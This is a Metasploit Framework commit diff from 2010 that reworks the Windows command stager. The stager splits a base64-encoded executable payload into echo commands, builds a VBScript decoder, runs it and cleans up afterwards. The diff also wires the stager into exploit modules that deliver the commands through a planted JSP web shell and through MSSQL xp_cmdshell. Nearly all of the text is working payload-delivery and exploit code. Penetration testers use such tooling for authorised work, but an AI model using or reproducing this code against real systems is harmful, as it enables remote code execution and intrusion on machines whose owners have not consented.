big update to cmd stager

1. returns array of commands instead of big blob of lines
2. combine lines together when possible (to reduce # of commands to execute)
3. add cmd stager usage in mssql_payload
4. remove extraneous stuff here and there

git-svn-id: file:///home/svn/framework3/trunk@8721 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-03-05 00:29:44 +00:00
parent d8818fc268
commit 73da75a931
5 changed files with 142 additions and 135 deletions

View File

@ -14,7 +14,7 @@ module Exploit::CmdStager
# #
def initialize(info = {}) def initialize(info = {})
super super
@cmdstager = nil @cmd_list = nil
end end
@ -34,37 +34,25 @@ module Exploit::CmdStager
end end
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch) cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
cstager = cmdstager.generate(opts, linelen) cmd_list = cmdstager.generate(opts, linelen)
if (cstager.nil?) if (cmd_list.nil? or cmd_list.length < 1)
print_error("The cmdstager could not be generated") print_error("The command stager could not be generated")
raise ArgumentError raise ArgumentError
end end
@cmdstager = cstager @cmd_list = cmd_list
return cstager
end end
# #
# Show the progress of the upload (XXX: uses printf/print) # Show the progress of the upload
# #
def progress(total, sent) def progress(total, sent)
done = (sent.to_f / total.to_f) * 100 done = (sent.to_f / total.to_f) * 100
if (done.to_f < 99.00) if (done.to_f < 99.00)
printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total) print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
$stdout.flush
end end
if(done.to_f > 99.00 && done.to_f < 100.00)
# just to beautify output so the handler output will kick in
print "\r\e[0K"
$stdout.flush
return
end
end end
end end

View File

@ -13,131 +13,119 @@ module Exploitation
class CmdStager class CmdStager
module Windows
Alias = "win"
module X86
Alias = ARCH_X86
end
module X86_64
Alias = ARCH_X86_64
end
end
def initialize(payload, framework, platform, arch = nil) def initialize(payload, framework, platform, arch = nil)
@var_decoder = Rex::Text.rand_text_alpha(5) @var_decoder = Rex::Text.rand_text_alpha(5)
@var_encoded = Rex::Text.rand_text_alpha(5) @var_encoded = Rex::Text.rand_text_alpha(5)
@var_batch = Rex::Text.rand_text_alpha(5) @var_batch = Rex::Text.rand_text_alpha(5)
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here @decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
@framework = framework @framework = framework
@exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
@linelen = 2047 # covers most likely cases @linelen = 2047 # covers most likely cases
platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList)) # XXX: TODO: support multipl architectures/platforms
@exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
# Use the first architecture if one was specified
arch = arch[0] if (arch.kind_of?(Array))
if platform.nil?
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
end end
CmdStager.constants.each { |c|
mod = self.class.const_get(c)
next if ((!mod.kind_of?(::Module)) or #
(!mod.const_defined?('Alias'))) # Generates the cmd payload including the h2bv2 decoder and encoded payload.
# The resulting commands also perform cleanup, removing any left over files
if (platform =~ /#{mod.const_get('Alias')}/i) #
self.extend(mod)
if (arch and mod)
mod.constants.each { |a|
amod = mod.const_get(a)
next if ((!amod.kind_of?(::Module)) or
(!amod.const_defined?('Alias')))
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
amod = mod.const_get(a)
self.extend(amod)
end
}
end
end
}
end
# generates the cmd payload including the h2bv2 decoder and encoded payload
# also performs cleanup and removed any left over files
def generate(opts = {}, linelen = 200) def generate(opts = {}, linelen = 200)
@linelen = linelen @linelen = linelen
cmd = payload_exe
return cmd # Return the output from payload_exe
payload_exe(opts)
end end
def payload_exe(persist = false)
if(persist) #
opts = {:persist => true} # This does the work of actually building an array of commands that
else # when executed will create and run an executable payload.
opts = {} #
end def payload_exe(opts)
decoder = generate_decoder() persist = opts[:persist]
exe = @exes.dup # Initialize an arry of commands to execute
encoded = encode_payload(exe) cmds = []
stage = encoded + decoder # Add the exe building commands (write to .b64)
stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n" cmds += encode_payload()
# Add the decoder script building commands
cmds += generate_decoder()
# Make it all happen
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
# If we're not persisting, clean up afterwards
if (not persist) if (not persist)
stage << "del %TEMP%\\#{@var_decoder}.vbs\n" cmds << "del %TEMP%\\#{@var_decoder}.vbs"
stage << "del %TEMP%\\#{@var_encoded}.b64\n" cmds << "del %TEMP%\\#{@var_encoded}.b64"
end end
return stage # Compress commands into as few lines as possible.
new_cmds = []
line = ''
cmds.each { |cmd|
# If this command will fit...
if ((line.length + cmd.length + 4) < @linelen)
line << " & " if line.length > 0
line << cmd
else
# It won't fit.. If we don't have something error out
if (line.length < 1)
raise RuntimeError, 'Line fit problem -- file a bug'
end end
# If it won't fit even after emptying the current line, error out..
if (cmd.length > @linelen)
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
end
new_cmds << line
line = ''
line << cmd
end
}
new_cmds << line if (line.length > 0)
# Return the final array.
new_cmds
end
def generate_decoder() def generate_decoder()
decoder = File.read(@decoder, File.size(@decoder)) # Read the decoder data file
f = File.new(@decoder, "rb")
decoder = f.read(f.stat.size)
f.close
# Replace variables
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs") decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64") decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe") decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
return decoder # Split it apart by the lines
decoder.split("\n")
end end
def encode_payload(cmd)
tmp = Rex::Text.encode_base64(cmd)
encoded = ""
buf = buffer_exe(tmp) def encode_payload()
buf.each_line { | line | tmp = Rex::Text.encode_base64(@exe)
encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n" orig = tmp.dup
}
return encoded cmds = []
l_start = "echo "
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
while (tmp.length > 0)
cmd = ''
cmd << l_start
cmd << tmp.slice!(0, (@linelen - xtra_len))
cmd << l_end
cmds << cmd
end end
protected cmds
# restricts line length of commands so that the commands will not exceed
# user specified values or os_detect set linelen
# each line will never exceed linelen bytes in length
def buffer_exe(buf)
0.upto(buf.length) do | offset |
if(offset % @linelen == 0 && offset != 0 || offset == buf.length)
buf.insert(offset, "\n")
end
end
return buf
end end
end end

View File

@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote
false false
end end
def exploit def exploit
generate_cmdstager() cmd_list = generate_cmdstager()
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5) http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
handler handler
end end
def http_send_cmd(opts, delay = 0.5)
len = @cmdstager.length def http_send_cmd(opts, delay = 0.5, cmd_list)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0 sent = 0
cmd_list.each { |cmd|
@cmdstager.each_line{ |cmd|
opts.each { |key, value| opts.each { |key, value|
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd)) value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
resp = send_request_raw(opts, 5) resp = send_request_raw(opts, 5)
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS') value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
sent = sent + cmd.length sent += cmd.length
# so multi threaded servers can place data in files in the correct order # so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay) select(nil, nil, nil, delay)
} }
progress(len, sent) progress(total_bytes, sent)
} }
end end

View File

@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
cmds = generate_cmdstager({}, 2047, p) cmds = generate_cmdstager({}, 2047, p)
scr = "" scr = ""
cmds.each_line { |ln| cmds.each { |ln|
ln.chomp!
scr << " f.writeString('" scr << " f.writeString('"
scr << ln scr << ln
scr << "\\n');\n" scr << "\\n');\n"

View File

@ -15,8 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL include Msf::Exploit::Remote::MSSQL
def initialize(info = {}) include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution', 'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{ 'Description' => %q{
@ -27,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
Note that this module will leave a metasploit payload in the Windows Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed. System32 directory which must be manually deleted once the attack is completed.
}, },
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ], 'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
@ -46,20 +47,47 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'DefaultTarget' => 0 'DefaultTarget' => 0
)) ))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
])
end end
def exploit def exploit
debug = false # enable to see the output debug = datastore['VERBOSE'] # enable to see the output
if(not mssql_login_datastore) if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials") print_status("Invalid SQL Server credentials")
return return
end end
# Use the CmdStager or not?
if (not datastore['UseCmdStager'])
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug) mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
else
cmd_list = generate_cmdstager({}, 1500)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0
delay = 0.25
cmd_list.each { |cmd|
mssql_xpcmdshell(cmd, debug)
sent += cmd.length
# so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay)
progress(total_bytes, sent)
}
end
handler handler
disconnect disconnect
end end
end end